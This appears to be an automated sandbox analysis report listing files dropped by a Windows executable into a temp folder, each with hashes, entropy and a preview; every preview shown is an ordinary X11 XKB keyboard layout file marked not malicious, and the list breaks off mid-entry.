SHA1:	FD32EC191B8D7BE0973F29D5E8524DDB1D050DF2
SHA-256:	FDEFB50B6B1D67DAC55F4ECAA757E4CF530F49AFD951C04BEA920729C00C52DC
SHA-512:	B436916F184369A6CB13BA7CCFA91689E4F93000707E1116D5997D269A5F7D94ECA780FCFA4CB6D16851D0BA5CED7D6FD73F8281EF9277BD3E7F6F55384D4700
Malicious:	false
Preview:	// These partial variants assign ISO_Level3_Shift to various XKB keycodes.// so that the third shift level can be reached...// The default behaviour:.// the right Alt key (AltGr) chooses the third symbol engraved on a key..default partial modifier_keys.xkb_symbols "ralt_switch" {. key <RALT> {. type[Group1]="ONE_LEVEL",. symbols[Group1] = [ ISO_Level3_Shift ]. };. include "level3(modifier_mapping)".};..// Ensure a mapping to a real modifier for LevelThree..partial modifier_keys.xkb_symbols "modifier_mapping" {. replace key <LVL3> {. type[Group1] = "ONE_LEVEL",. symbols[Group1] = [ ISO_Level3_Shift ]. };. modifier_map Mod5 { <LVL3> };.};..// The right Alt key never chooses the third level..// This option attempts to undo the effect of a layout's inclusion of.// 'ralt_switch'. You may want to also select another level3 option.// to map the level3 shift to some other key..partial modifier_keys.xkb_symbols "ralt_alt" {. key <RALT> {. type[Group1]="TWO_LEVEL",. ty

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\level5

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4488
Entropy (8bit):	5.094685884866325
Encrypted:	false
SSDEEP:	96:ZZRvgasHSr6gljqwIgooovAoooSxoooJqoooK7coooa8oooxpooooioooB:jRIaQSugllnooo4ooo4oooMoooKgoooI
MD5:	868EB915464024621F6C3C7BD87017E4
SHA1:	D16744D63C86504F36724394DD7014E9075A1C54
SHA-256:	D8DE248E3C4902C4330C4CCE561153D724750604E31BEAFAFB721C0FDE65ECCE
SHA-512:	F24EA19D89D894E116511114A31A2571A3CB58293AE9C1E98021CEC783E5F6A3567988CA00DA041A32001DF223AF2A3FA899960D0A681EC39D536F49D60AD567
Malicious:	false
Preview:	// These partial variants assign ISO_Level5_Shift to various XKB keycodes.// so that the fifth shift level can be reached...// The right Ctrl key (while pressed) chooses the fifth shift level..partial modifier_keys.xkb_symbols "rctrl_switch" {. key <RCTL> {. type[Group1]="ONE_LEVEL",. symbols[Group1] = [ ISO_Level5_Shift ]. };. include "level5(modifier_mapping)".};..// The Less/Greater key (while pressed) chooses the fifth shift level..partial modifier_keys.xkb_symbols "lsgt_switch" {. key <LSGT> {. type[Group1]="ONE_LEVEL",. symbols[Group1] = [ ISO_Level5_Shift ]. };. include "level5(modifier_mapping)".};..// The right Alt key (while pressed) chooses the fifth shift level..partial modifier_keys.xkb_symbols "ralt_switch" {. key <RALT> {. type[Group1]="ONE_LEVEL",. symbols[Group1] = [ ISO_Level5_Shift ]. };. include "level5(modifier_mapping)".};..// Ensure a mapping to a real modifier for LevelFive..partial modifier_keys.xkb_symbols "modifier_mapping" {. repl

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\lk

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3374
Entropy (8bit):	5.1542916717969165
Encrypted:	false
SSDEEP:	48:z0tNvH5P2G/Ezswe1LJd66+d/LPgvQBy7Ey18QW/2vEH2hL3aIpOCIYaIPV1IOM:KNh+GMT+VdtazPf87I/2YqJOC91XM
MD5:	D4BA2F3AFC4064F393EA520F37258891
SHA1:	BF1AA1318A06043FB0A2FB1F361F443B6285C1E1
SHA-256:	8B9662681D0BDEEED15C9B541EC213732EFCC12B02C4939592501D4C34DB19D4
SHA-512:	19E654273E8718D4FA5D8346E4FBD541499CAA95887E3C196E4EFC14652A00544F9847B400A24C0BA9C560A579335C6DEA01BA5DA3EEBD6E2FBC109DA400A16F
Malicious:	false
Preview:	// X Keyboard Extension file for Sinhala (Sri Lanka) (2004-04-22).// Maintainer : Harshula Jayasuriya <harshula@gmail.com>.// Last Updated: 2011-05-25.// This is a phonetic static mapping for a standard US-English keyboard.// (qwerty).// http://www.nongnu.org/sinhala/doc/keymaps/sinhala-keyboard_3.html..// Repaya, Rakaransaya and Yansaya aren't inserted with A-r, R and Y,.// respectively. The problem lies with the XKB infrastructure which.// only allows a one-to-one mapping of keycodes to Unicode codepoints..// Unfortunately, the 3 mentioned glyphs actually consists of 3.// Unicode codepoints each. The result is that the user must.// manually construct the glyph by typing each of the 3 codepoints..// ALT-, represents the 'JOIN' key, it requires.// two codepoints, hence it also has to be manually constructed..// Similarly, ALT-/ representing the 'TOUCH' key requires.// two codepoints...// Repaya = rayanna,AL,ZWJ.// Rakaransaya = AL,ZWJ,rayanna.// Yansaya = AL,ZWJ,yayanna.// JOIN = AL,Z

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\lt

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	16947
Entropy (8bit):	3.8116337839997994
Encrypted:	false
SSDEEP:	192:0XFEJGEv5+oXkqplhx1aoitOHVtypr2XyURBM4+bq0P/EtB24+bq0aqa4K:0XC3ttpLGtCt+EFQbiqbNan
MD5:	84390223649022ED19B871FE276FF761
SHA1:	B76ECC2FF492DA1F647941FADEA4F9DAFF4BECEB
SHA-256:	3622E7B9D2A77FF07397E49E16D1FBC35A3C3D0FF83DEBDA9075B824DC5622F5
SHA-512:	07A28E5E2FD187FBBC75E6C2A994406E2F8E806C17EDD363DF38FE8E8C5FD505A20567C1BDE63C685F3C8715B8109FBF65C81B5A91CB4858C2CF14B5E9967EBC
Malicious:	false
Preview:	// Separate keymaps merged into one file by Nerijus Bali.nas, 2002..// Lithuanian Numeric layout - Lithuanian letters on the numeric row.// based on Lithuanian keyboard map by Ri.ardas .epas <rch@richard.eu.org>.// 3rd and 4th levels added by Mantas Kriau.i.nas <mantas@akl.lt>, 2004.// Minor modifications and cleanup by Rimas Kudelis <rq@akl.lt>, 2010.//.// If you want two layouts, use:.// Option "XkbLayout" "lt,lt(us)".default partial alphanumeric_keys modifier_keys.xkb_symbols "basic" {.. include "latin". include "eurosign(e)". include "level3(ralt_switch)".. name[Group1]="Lithuanian";.. key <TLDE> {[ grave, asciitilde, acute ]};. key <AE01> {[ aogonek, Aogonek, 1, exclam ]};. key <AE02> {[ ccaron, Ccaron, 2, at ]};. key <AE03> {[ eogonek, Eogonek, 3, numbersign ]};. key <AE04> {[ eabovedot, Eabovedot, 4,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\lv

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	19033
Entropy (8bit):	5.379487977094243
Encrypted:	false
SSDEEP:	384:JVE/x67ef7W3uuRYJMpXkqlzrhybQ9Ym+pv2NG+W:fgxkmMpXkr19
MD5:	D85B2DCBC2409547F76093E7F20DA217
SHA1:	D71A1607CA76DFD94FFB498509B2B183B4E063C3
SHA-256:	6F913C8D8DC05663BA7AA2B398DEF9DFC7DDE8D19F2523459F42E9BCB6199DF2
SHA-512:	F83CA3BA01B64FA0E7134463387587BB97EB96BB5D11D73B1563F9E5BC7DC566D9603287916E1A3290DEC275CE30D86FE37EB1C4056B570C07C39CAFD0A4D922
Malicious:	false
Preview:	// Latvian keymap version 1.1.// Copyright (C) Dmitry Golubev <lastguru@mail.ru>, 2003-2004.//.// Reworked to get rid of dead_keys (use of which in this case.// is a dirty hack). It is now not dependent on locale settings.// and GTK_IM_MODULES in Gnome. The map is also providing some of.// ISO9995-3 alternate characters. Note that this version works.// correctly under Gnome 2.6. This is to be put into symbols/.// directory, or somewhere else..//.// Permission to use, copy, modify, distribute, and sell this software and its.// documentation for any purpose is hereby granted without fee, provided that.// the above copyright notice appear in all copies and that both that.// copyright notice and this permission notice appear in supporting.// documentation, and that the name of the copyright holder(s) not be used in.// advertising or publicity pertaining to distribution of the software without.// specific, written prior permission. The copyright holder(s) makes no.// representations about

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ma

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	12524
Entropy (8bit):	5.020056990415189
Encrypted:	false
SSDEEP:	384:uzPs6rveGwrkmjbrtgLUCyarATBbrKWGt9+GFrCLCNGE:uzU6r3wrkirtbIrAtbrsjrCi
MD5:	EAC82852CACC101B6EF7B4608849DD73
SHA1:	565DAC602AA1DCBE0051FB4CCFF3F9B0F6A0D59F
SHA-256:	0A0CBE40B73B087C97A3A86E25CBDB71876BBE8C6A30AB868700A3DFC45D4639
SHA-512:	E50D0688264FE707887645D33C4FD5B5033A208122E0B723B49FD9510232A7EC247C1321E4E88358C0686B9664879266046276BCF79B58BFFAE57249343711A3
Malicious:	false
Preview:	// Arabic AZERTY with modern Latin digits .default partial alphanumeric_keys.xkb_symbols "arabic" {. include "ara(azerty)".. name[Group1]="Arabic (Morocco)";.};..// French AZERTY keyboard used when typing French.partial alphanumeric_keys.xkb_symbols "french" {. include "fr(basic)".. name[Group1]="French (Morocco)";.};..// Clavier unicode tifinaghe de base r.alis. par l'IRCAM (Institut Royal de la Culture Amazighe du Maroc) http://www.ircam.ma/.// Support des lettres unicode tifinaghe-IRCAM, n.otifinaghes & touar.gues..// Les caract.res tifinaghes sont accessibles en SHIFT positions pour le niveau 2, en ALTGR positions pour le niveau 3.// Polices tifinaghes Unicode . t.l.charger depuis :.// http://www.ircam.ma/documents/policesclavierunicode/hapaxber.ttf (licence non libre, libre t.l.chargement et distribution uniquement).// Minihowto ici: http://perso.menara.ma/~kebdani/tamazgha/gnu_amazigh.html..partial alphanumeric_keys.xkb_symbols "tifinagh" {.. name[Group1

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\macintosh_vndr\apple

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5104
Entropy (8bit):	5.1470341512092395
Encrypted:	false
SSDEEP:	48:e7qk5ByKuEbY0av8TA/NPxistquBytlsIkXcZh3Wl2qY7lU2XxZxKFoFyZMcMzMH:ecKuEbyHPJwJ/lzWRYO2BZxliR
MD5:	42B7B03B68C4DB665C0257D0971C5468
SHA1:	224359596A13719ECC8D258698B1A362E16974AC
SHA-256:	25153227B3330A5744315638F579A4103E25069E494A072C7A38F4DBD67A2FEF
SHA-512:	58203F3EFB2259D80746A24E133551E6681E8149F99CC77DE52164EDE437D6A15187F50424AE70F420E21AA26E7AFFB1248C9DC754BD79DE46207383E28A2196
Malicious:	false
Preview:	//.// Keyboard modification for Apple keyboards.//..partial default modifier_keys.xkb_symbols "extended" {.. key <KPEQ> { [ KP_Equal ] }; ..// The key in the PC's Insert position is sometimes engraved Help (at least.// in Switzerland and Great Britain), with Insert sometimes above. But in the.// US and Canada, it remains Insert. So this should probably be an XkbOption,.// but I have to do more research..// Perhaps Help should be the primary symbol with Insert in the 1st shift-level.// key <INS> { [ Help, Insert ] };.// The keys next to F12, labeled F13, F14, & F15 generate codes that XFree86.// claims not to generate. I think they should be equivalent to the PC keys.// Print Screen / SysRq, Scroll Lock, and Pause. Linux kernel bug?.// key <PRSC> { [ F13 ] }; // should be keycode 93 or.// key <FK13> { [ F13 ] }; // should be keycode 118.// key <SCLK> { [ F14 ] }; // should be keycode 123 or.// key <FK14> { [ F14 ] }; // should be keycode 119.// key <PAUS> { [ F15 ]

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\macintosh_vndr\ch

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3823
Entropy (8bit):	5.05564965998799
Encrypted:	false
SSDEEP:	96:fxKYrMc/oR/uuZ5385fQdzYgvV3oNfcHisxKZub:flMc/oR/uuZ53OfQdzYcV3otozmub
MD5:	D9F7EEB256069CF581246F2A6DD2507B
SHA1:	C77CFED53E852066CA647F4A454A26CE074AD0BB
SHA-256:	F10753E41FF24A22600AD3772F8965D917B6303F41ED656C025A898655C4208B
SHA-512:	7256701BBA914B0D8E7A389F858E739AAC3E0BDC5B2D8725F1CF1FC1F4D885A6D7893D3948A32062147083322C44AFF90B1BE3A13CB4B9780A698FB00C87E7E6
Malicious:	false
Preview:	//.// 03.01.2003.// Andreas Tobler <a.tobler@schweiz.ch>.// modified for Swiss German Apple Extended Keyboard II..partial alphanumeric_keys.xkb_symbols "extended" {. . name[Group1]= "Switzerland - German, Mac";.. key <AE01> { [.1,.plus, ..plusminus,.infinity.].};. key <AE02> { [.2,.quotedbl, leftdoublequotemark, rightdoublequotemark ].};. key <AE03> { [.3,.asterisk, .numbersign,.leftcaret.].};......// not displayed here. key <AE04> { [.4,.ccedilla, .Ccedilla,.slash..].};. key <AE05> { [.5,.percent, .bracketleft...].};. key <AE06> { [.6,.ampersand, .bracketright...].};. key <AE07> { [.7,.slash, ..bar,..backslash.].};. key <AE08> { [.8,.parenleft, .braceleft,.Ograve..].};. key <AE09> { [.9,.parenright, .braceright,.Ocircumflex.].};. key <AE10> { [.0,.equal, .notequal,.Uacute...].};. key <AE11> { [.apostrophe,.question, .questiondown, .NoSymbol ].};. key <AE12> { [.dead_circumflex,dead_grave, .dead_acute,.asciicircum ].};. key <AD01> { [.q,.Q,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\macintosh_vndr\de

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3843
Entropy (8bit):	4.885719122492058
Encrypted:	false
SSDEEP:	96:2Wn6E0LHYhZUtz+4j4MrC5JV2AiRSVe2TJ1jpArMdKs:36E0LICz+RuaZiSdTJ1jp3dKs
MD5:	EC7972459FD2ED6B31BCEF65681CACBA
SHA1:	DF82614EB881B552F6CCE6B3DD060C2F5994664F
SHA-256:	F61AF4FCA47D3731765FA8A1E9013E2B448428808065C1F0A1B80128CF80F664
SHA-512:	46A1B960A1E7FF745BA975BADC06824A4BB5A5680525F02896B63DDF4AA26343886C415ABFDB67C4867E8EAE851239CBA92461365D2355E2F5F4039A7F4F2552
Malicious:	false
Preview:	// olh@suse.de very close to MacOS map..default partial alphanumeric_keys .xkb_symbols "basic" {.. // Describes the differences between a very simple US/ASCII. // keyboard and a simple German keyboard... include "latin". name[Group1]= "Germany - Mac";.. key <TLDE> {.[ dead_circumflex,.degree, notsign ..].};. key <AE01> {.[ 1, exclam, exclamdown, at..].};. key <AE02> {.[. 2,.quotedbl, twosuperior...].};. key <AE03> {.[. 3,.section, threesuperior,sterling.].};. key <AE04> {.[. 4,.dollar, onequarter,.currency.].};. key <AE05> {.[. 5,.percent, bracketleft...].};. key <AE06> {.[. 6,.ampersand, bracketright..].};. key <AE07> {.[. 7,.slash, bar, backslash..].};. key <AE08> {.[. 8,.parenleft, braceleft, asciitilde.].};. key <AE09> {.[. 9,.parenright, braceright...].};. key <AE10> {.[. 0,.equal, braceright,.degree..].};. key <AE11> {.[ ssharp,.question, backslash,.questiondown.].};. key <AE12>

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\macintosh_vndr\dk

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3507
Entropy (8bit):	4.211165296359246
Encrypted:	false
SSDEEP:	96:InrfbkjE4A3bZnERlU83T5QYW+5ws0zoei:arfbKE4Ub9EPbj2YW+2rkj
MD5:	A8AF64AC29350FBFCB31FE6816465F44
SHA1:	853C3FDBA5E49FE5A002990572E910F46DE29D72
SHA-256:	652E7FA0E3EAB0E2557EB9B7E6A185DC222C8297576609CBA83309776637DCAF
SHA-512:	3BA95C201C2ABBC9F35DD37CA05709E1084E5CF6AF578B4686A880A7398367A373028E4A81B642D625613A65718E937D8EF7E78F95DF14B24EB4543247273662
Malicious:	false
Preview:	partial alphanumeric_keys .xkb_symbols "basic" {.. // Describes the differences between a very simple en_US. // keyboard and a Danish keyboard with dead key support. // and all of ISO-8859-1 characters available... include "latin". name[Group1]= "Denmark - Mac";.. key <TLDE> {.[ onehalf, section, threequarters, paragraph.]};. key <LSGT> {.[ less, greater, backslash, notsign.]};. key <SPCE> {.[ space, space, nobreakspace, nobreakspace.]};. key <AE01> {.[ 1, exclam, exclamdown, onesuperior.]};. key <AE02> {.[ 2, quotedbl, at, twosuperior.]};. key <AE03> {.[ 3, numbersign, sterling, threesuperior.]};. key <AE04> {.[ 4, EuroSign, dollar, onequarter.]};. key <AE05> {.[ 5, percent, NoSymbol, cent.]};. key <AE06> {.[ 6, ampersand,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\macintosh_vndr\fi

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	4.770486507046293
Encrypted:	false
SSDEEP:	6:5Gz1av39fFwAqpxPyMfjfbKx4oRFlEZEk1av39+ovEQAqpxPyMKfbKx4oRFlELcu:W16VF1qPaKuFRvCz16ko8VqPaluFRv8x
MD5:	197502A209FD58DB48F79C787C224404
SHA1:	88B73BB7866819D9D0CE44729B7EB7C12A1A0877
SHA-256:	2F63A10CFD5687679E406A69198BD96699D30531C3FE0A2DA12359BBF90EFFFA
SHA-512:	7230FD537ADAAF384A0BB3D8BC8E6A4496CCF3B9E0E419029A455BDDB1BEF4325E912E5B40AC185CD99A4053CC56BED6155B797150EBD407DA7371ABA0C0DD6F
Malicious:	false
Preview:	partial default alphanumeric_keys .xkb_symbols "basic" {. include "macintosh_vndr/se(basic)" // for consistent naming. name[Group1]= "Finland - Mac";.};..partial alphanumeric_keys .xkb_symbols "nodeadkeys" {. include "macintosh_vndr/se(basic)".// for consistent naming. name[Group1]= "Finland - Mac, eliminate dead keys";.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\macintosh_vndr\fr

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ISO-8859 text
Category:	dropped
Size (bytes):	5571
Entropy (8bit):	5.116354889774691
Encrypted:	false
SSDEEP:	96:i44FZMrtA4RY5BGfHhGpUYXWkJ1rO2xhL2nyLBkWcpvYYiIir:i4OWaaY5BGfHhZfsOwL2n26fFYYivr
MD5:	F9D36772ADD66B258C3C7680BFBDD69A
SHA1:	5533CD8DAA89697CC6407C73C01E09BDCD8D5B56
SHA-256:	3B0910FD5DD7F7DE20C6CCB1D5626FF92D07ED9DC90066E5C53AF8D15943FE92
SHA-512:	8250B984FE3A8FCEFC1E143386C8362DDFD4BEF35885B2BEE6C071C849F156C093286FF6B481D7E401BE6CCD3D929178C662991E133949BC8A3C2EC3BF9176D8
Malicious:	false
Preview:	// Marc.Shapiro@inria.fr 19-sep-1998.// modifications : Etienne Herlent <eherlent@linux-france.org> june 2000.// adapted to the new input layer :.// Martin Costabel <costabel@wanadoo.fr> 3-jan-2001.//////////////////////////////////////////////////////////////////.// Petites Modification le juillet 2005 par Bin Zhang <bb.zhang@free.fr> : .// 1) La ligne 83 : remplacer les deux "VoidSymbol" par oe et OE .// 2) La ligne 89 : remplacer "VoidSymbol" par "EuroSign".// ( 1) et 2) fonctionnent sous UTF-8, mais pas sous iso-8859-1. ).// 3) Remplacer la ligne 148 par la ligne 149 pour que la touche Alt_L.// (la touche Apple-Pomme) fonctionne correctement sous Xorg, une id.e.// motiv.e par http://www.linux-france.org/macintosh/clavier_gentoo.html.//////////////////////////////////////////////////////////////////.// This map is an almost-complete mapping of the standard French.// MacIntosh keyboard under Xwindows. I tried to remain as faithful.// as possible to the Mac meaning of each key

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\macintosh_vndr\gb

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	557
Entropy (8bit):	4.478016283017615
Encrypted:	false
SSDEEP:	12:W16BnraFoEaqPNuFQxvQ7ZxzWuyzZ1aUY:a6BnrY9lvQ1xzWuy3ZY
MD5:	2477054B88A1D6ED23E8E8DC93C16922
SHA1:	71CFAB6F918BC815D31D15D3C1314638754819B0
SHA-256:	B66332A3B9E5881261FE1D050D7A90A6301CF756BBC1CDF15C4AE98CD7B9516B
SHA-512:	E152B04A41FDDD6DDA47322238DE5EA01341DD7A2EB23BCBBA5E92083F64D47FDF7D86757564D726A09AFD0D5EA9B86C18C2DC7F35EFAE7FBC48E9B51E4718C6
Malicious:	false
Preview:	partial default alphanumeric_keys .xkb_symbols "basic" {.. // Describes the differences between a very simple en_US. // keyboard and a very simple U.K. keyboard layout.. include "macintosh_vndr/us".. name[Group1]= "United Kingdom - Mac";.. key <AE02> {.[ 2, at, EuroSign.].};. key <AE03> {.[ 3, sterling, numbersign.].};. key <TLDE> {.[ section, plusminus ].};. key <LSGT> {.[ grave, asciitilde ].};. . include "level3(ralt_switch)".};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\macintosh_vndr\is

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	5721
Entropy (8bit):	5.421457552209611
Encrypted:	false
SSDEEP:	96:1rpJOuQHGI6rB/whcKTuyGv0aa0hpMiQmg/bIun4LAqIumBBeEW20G:FpLQHF6rBIPSzIyMiQmgRn4LAqWc2v
MD5:	DC69B7E6A0DD9C90F43DA0770857BC94
SHA1:	8829018EB326055952F0EBC8CA53DD7DE3D422C1
SHA-256:	BE16FAA43A9F22090771353609579306A39ED3F899A37365C4C045ECB90AF729
SHA-512:	398FD25DDE76C85A123048AAD90730F73C5F6D6D101FE9CF65851FB9F02EFDD90EC14FE582B338B50D816D9FA9EABD76E8EDBD08F42D0435E63C70CEFB5C2F8C
Malicious:	false
Preview:	//.// This file describes the differences between a Macintosh US Extended.// keymap and an Icelandic keyboard layout in the style of Mac OS and Mac OS X.//.// Copyright (C) 2004, 2006 .var Arnfj.r. Bjarmason <avarab@gmail.com>.//.// Permission to use, copy, modify, distribute, and sell this software and its.// documentation for any purpose is hereby granted without fee, provided that.// the above copyright notice appear in all copies and that both that.// copyright notice and this permission notice appear in supporting.// documentation..//.// The above copyright notice and this permission notice shall be.// included in all copies or substantial portions of the Software..//.// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..// IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.// OTHER LIABILITY, WHETHER IN A

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\macintosh_vndr\it

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2727
Entropy (8bit):	4.40944118609857
Encrypted:	false
SSDEEP:	48:FkwViv3fBkThaWSBSnE2TKwlI810+RHYrG:JViv3SThaWvlX1YG
MD5:	5020DBB1E8859EAB9B665DE035B13785
SHA1:	0461FB2F90B626CEABA2FC0396E68C218BF0C9BF
SHA-256:	BFD77349861143044990601002551832367692DF85222A83025D82BAD13583D4
SHA-512:	191FCBCB40D18ACFB67B0094F6E392E5F472EF7F1EEF167224D25D8F0E5ABEA173AAC1584800DA4D7D549D91AA9AD55A19C1194EB2FC0FE03F22F1B72579A386
Malicious:	false
Preview:	xkb_symbols "extended" {.. name[Group1]= "Italy - Mac";.. key <LSGT> {.[ less, greater .].};. key <TLDE> { [ at, numbersign, periodcentered ].};. key <AE01> {.[ ampersand, 1, guillemotleft,guillemotright.].};. key <AE02> {.[ quotedbl, 2 ..].};. key <AE03> {.[ apostrophe, 3 .].};. key <AE04> {.[ parenleft, 4, braceleft, bracketleft.].};. key <AE05> {.[ ccedilla, 5, Ccedilla, Iacute.].};. key <AE06> {.[ egrave, 6, paragraph, periodcentered].};. key <AE07> {.[ parenright, 7, braceright,. bracketright.].};. key <AE08> {.[ sterling, 8, infinity...].};. key <AE09> {.[ agrave, 9, acute, Ocircumflex.].};. key <AE10> {.[ eacute, 0, grave, Oacute.].};. key <AE11> {.[ minus, underscore.].};. key <AE12> {.[ equal, . plus, notequal, plusminus.].};.. key <AD01> {.[ q,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\macintosh_vndr\jp

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1030
Entropy (8bit):	5.068941120755461
Encrypted:	false
SSDEEP:	24:z9MFDBiWVA/XyPZEa60VYIjtyrl0Tb0hq0J60WwYiZ0J60sV+5VCrcQ090TBJ:zSC5WVYwQlKbLAWwYiZAV5VWcQ48J
MD5:	F66DD51E81F308640A4E32EF2FF8BA95
SHA1:	0851B8088EC826162D31BE03670FF3B89507279F
SHA-256:	5F2E6AA980182D2D487F0F16F3AFB801CC3EC8C68C868ADB2B950013D7715A56
SHA-512:	30331522CEB39AAC9761DDB899C42609F9D92722C5541E69A2B5933EC95B23FB25958E88B2A5814B7AEA44D181719B4A9915332FD96AD64B1F063FC5B587C998
Malicious:	false
Preview:	// JIS symbol mapping for Apple Aluminium Keyboard.// (Damien Ciabrini <damien.ciabrini@gmail.com>).//.// The JIS version of the Aluminium Keyboard is made of.// QWERTY-like map for the latin part.// PC98-like map for the kana part.// EISU and KANA keys found on other Apple keyboards..partial default alphanumeric_keys.xkb_symbols "usmac" {. name[Group1].= "Japan - Macintosh, US map";. include "jp(common)".. key <JPCM> { [ KP_Separator ] };. key <AE13> { [ yen, bar .] };. replace key <AE10> { [ 0..] };. replace key <AB11> { [ underscore.] };. replace key <CAPS> { [ Caps_Lock ] };.};..partial alphanumeric_keys.xkb_symbols "mac" {. name[Group1].= "Japan - Macintosh";. include "jp(kana)".. replace key <CAPS> { [ Caps_Lock ] };.};..partial alphanumeric_keys.xkb_symbols "alujiskeys" {. // On JIS USB keyboard, EISU and KANA replace Hangul and Hanja. // see keycodes macintosh(jisevdev). replace key <HJCV> { [ Hiragana_Katakana ] };. replace key <

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\macintosh_vndr\latam

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1913
Entropy (8bit):	4.093502743118026
Encrypted:	false
SSDEEP:	24:a6BnXCQ0CuCdPS907NaJx3PbyEgT8f2oLCQaMcSQPsOO741TZv4bxQQ8XZ7K47qp:LnyQ0CucP4nPWXFgvSOFWJB2p
MD5:	17CDCF060133D8A8BFB4F6EB28F4D816
SHA1:	F0BF031E6FED7CA2929E6A46D6AC0DA81796CB2E
SHA-256:	BE9469AAE8741AF92C4932F9743617223505E9BF47153013EDF21E3125891151
SHA-512:	0920480E8EC2BCFE05F9477863175C774950BFC9D2D6374821F3F1FF05FECC0A8FE6F1866FB5400AF78405DFFD5824A110D3655DE7BB0B1CC3A421F63534BD3E
Malicious:	false
Preview:	partial default alphanumeric_keys .xkb_symbols "basic" {.. // Describes the differences between a very simple mac_US. // keyboard and a very simple Spanish keyboard... include "latin". name[Group1]= "Latin American - Mac";.. key <TLDE> {.[ bracketleft, bracketright, braceleft, braceright.].};. key <LSGT> {.[ less, greater, bracketleft, braceleft.].};. key <AE01> {.[ 1, exclamdown .].};. key <AE02> {.[ 2, exclam, at, oneeighth.].};. key <AE03> {.[ 3, numbersign, guillemotleft, guillemotright.].};. key <AE04> {.[ 4, dollar, yen, Icircumflex.].};. key <AE05> {.[ 5, percent.].};. key <AE06> {.[ 6, slash, backslash, Idiaeresis.].};. key <AE07> {.[ 7, ampersand, bar, Iacute.].};. k

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\macintosh_vndr\nl

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	156
Entropy (8bit):	4.6915054232641875
Encrypted:	false
SSDEEP:	3:bD5f+pz1MtvcW469aHtwvFNMlA9JEwrEIAKx4oLAmEcqFelA9JA5W/IGvYwn:5Gz1av391FelAQdbKx4orcclAUUIGAw
MD5:	FD63B504F531E9C740ED6A71B77E7EC4
SHA1:	BD6D467C4A17EA862FA4870CA2BB0A5EF4DCAA20
SHA-256:	F8758CE3B6E1B930E270D311A68EE7F298D7DBEA32F221607E947EC350358012
SHA-512:	13312CA81745AD13B8626916D6B2BFB1AE53819423AD3C8D211EB5AE52C81A889A86F5F92C71AD592E1DC82B3483C2389EBE5373688949C6E97FE7A6B4E77738
Malicious:	false
Preview:	partial default alphanumeric_keys .xkb_symbols "basic" {.. include "latin".. name[Group1]= "Netherlands - Mac";.. include "level3(ralt_switch)".};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\macintosh_vndr\no

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2132
Entropy (8bit):	4.195647263347164
Encrypted:	false
SSDEEP:	48:LnrYY/EiEF5/eLem1buUa0mxdA/pUiEFJy0:LnrYY/Enz/eLemRuUa0K+/+nHy0
MD5:	C08B6A0EC31D64797C2A63D3502581BB
